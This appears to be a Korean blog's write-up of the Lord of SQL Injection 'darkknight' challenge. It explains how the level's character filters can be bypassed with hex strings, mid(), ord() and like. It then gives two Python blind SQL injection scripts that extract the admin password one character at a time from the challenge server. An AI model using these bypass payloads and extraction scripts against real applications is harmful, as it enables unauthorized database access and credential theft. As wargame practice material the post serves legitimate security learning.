Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- 시스템 해킹
- 취약점 스캔
- 모의해킹
- 취약점
- 칼리리눅스
- 암호해독
- CTF
- 포트스캔
- 스캔
- 침투테스트
- Samba
- Kioptrix
- web hacking
- 내부침투
- sql
- 권한상승
- 스캐닝
- Hacking
- 메타스플로잇
- 취약점분석
- Metasploit
- smb
- root권한
- load of sqlinjection
- SQL Injection
- 해킹도구
- 해킹
- Los
- SQLINJECTION
- 해킹툴
Archives
- Today
- Total
감자 텃밭
[Load of SQL Injection] LOS - DARKKNIGHT(12단계) 본문
12단계 = DARKKNIGHT
소스코드
이번문제에서는 넘겨줘야 할 파라미터값이 pw, no 두 가지로 보인다.
필터링되는 값을 확인해보면
pw 파라미터에서 '을 필터링하며, no파라미터에서 ', substr, ascii, = 를 필터링하고 있다.
이전 문제에서 사용한 것들을 잘 조합해서 사용하면 무난하게 우회가 가능할 거 같다.
우선 '를 필터링하여 문자열을 필터링하고 있다.
이럴 경우 id = 'admin'이 안되지만, My SQL에서는 아스키코드값인 16진수로 표현할 경우 문자열로 인식이 가능하다.
또한 no에서의 substr은 substrin(), mid() , left(), light()등 다양한 함수로 우회가 가능하다.
ascii()는 ord(), hex()등으로 우회가 가능하다. =은 이제 척하면 척! like로 우회가 가능하다.
그럼 우선 패스워드의 길이부터 구해보도록 하자.
import requests
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookie = {'PHPSESSID':'3n1u0ufa2rm29qb2oik1re5jrd'}
def admin_pw():
length=1
while 1:
query=url+"?pw=1&no=1 or id like 0x61646d696e and length(pw) like {}%23".format(length)
res = requests.get(query, cookies=cookie)
if 'Hello admin' in res.text:
print('admin password length='+str(length))
break
else:
print('wait...'+str(length))
length+=1
admin_pw()
8자리라는 것을 확인할 수 있다.
이를 토대로 password를 추출해 보자.
ascii() 함수 대신 mid함수를 사용했다.
import requests
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookie = {'PHPSESSID':'3n1u0ufa2rm29qb2oik1re5jrd'}
def admin_pw():
length=1
while 1:
query=url+"?pw=1&no=1 or id like 0x61646d696e and length(pw) like {}%23".format(length)
res = requests.get(query, cookies=cookie)
if 'Hello admin' in res.text:
print('admin password length='+str(length))
admin_pwstr(int(length))
break
else:
print('wait...'+str(length))
length+=1
def admin_pwstr(length):
string=''
for i in range(1, length+1):
for j in range(47, 123):
query=url+"?pw=1&no=1 or id like 0x61646d696e and ord(mid(pw,{},1)) like {}%23".format(i,j)
res = requests.get(query, cookies=cookie)
if 'Hello admin' in res.text:
string+=chr(j)
print('admin password = '+string)
print('final password='+string)
admin_pw()
성공적으로 password를 추출해 냈다.
이번문제는 이렇게 해결할 수 있었다.
※ 내용이 이상하거나 문제가 있을 경우, 또는 설명에 부족한 내용이 있으시면 알려 주시면 감사합니다.
'my_study > LOS' 카테고리의 다른 글
[Load of SQL Injection] LOS - iron_golem(21단계) (0) | 2023.01.07 |
---|---|
[Load of SQL Injection] LOS - xavis(19단계) (0) | 2023.01.07 |